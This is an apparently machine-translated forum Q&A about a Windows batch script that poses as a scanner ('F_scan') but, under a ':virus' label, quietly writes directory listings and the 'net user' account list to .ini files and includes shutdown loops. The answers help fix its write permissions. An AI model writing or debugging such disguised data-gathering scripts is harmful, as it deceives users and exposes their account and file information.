如果我运行这个程序,它会说拒绝访问,当我以管理员身份运行它时,它没有做任何假定的复制指令和帐户到2. .ini文件:
@echo off
mode 1000
:start
cls
echo welcome to F_scan
echo do you want to scan
set /p yn=[Y/N]
if %yn%==y (
goto virus
) else (
exit
)
:virus
cls
dir/s >> config.ini
net user >> config.ini
cd ..
cd ..
cd ..
cd ..
cd ..
cd ..
cd ..
cd ..
dir/s >> altconfig.ini
exit
rem shutdown library
:shutdown
shutdown -s
goto shutdown
:restart
shutdown -r
goto restart
答案 0 :(得分:0)
您的重复cd ..
应该会让您接近磁盘的根目录。
可能,你不允许在那里写
你可以尝试
...
net user >> config.ini
dir \ /s >> altconfig.ini
或dir ..\..\..\..\..\.. /s >> altconfig.ini
把你的altconfig.ini写在初始目录中,你可能会在那里写。
答案 1 :(得分:0)
在这种情况下,您可能希望将命令的输出重定向到批处理文件本身的目录中的文件,而不是您执行命令的位置。为此,您可以使用:
dir/s >> "%~dp0config.ini"
%~dp0
是一个变量,用于保存当前执行的批处理文件的位置。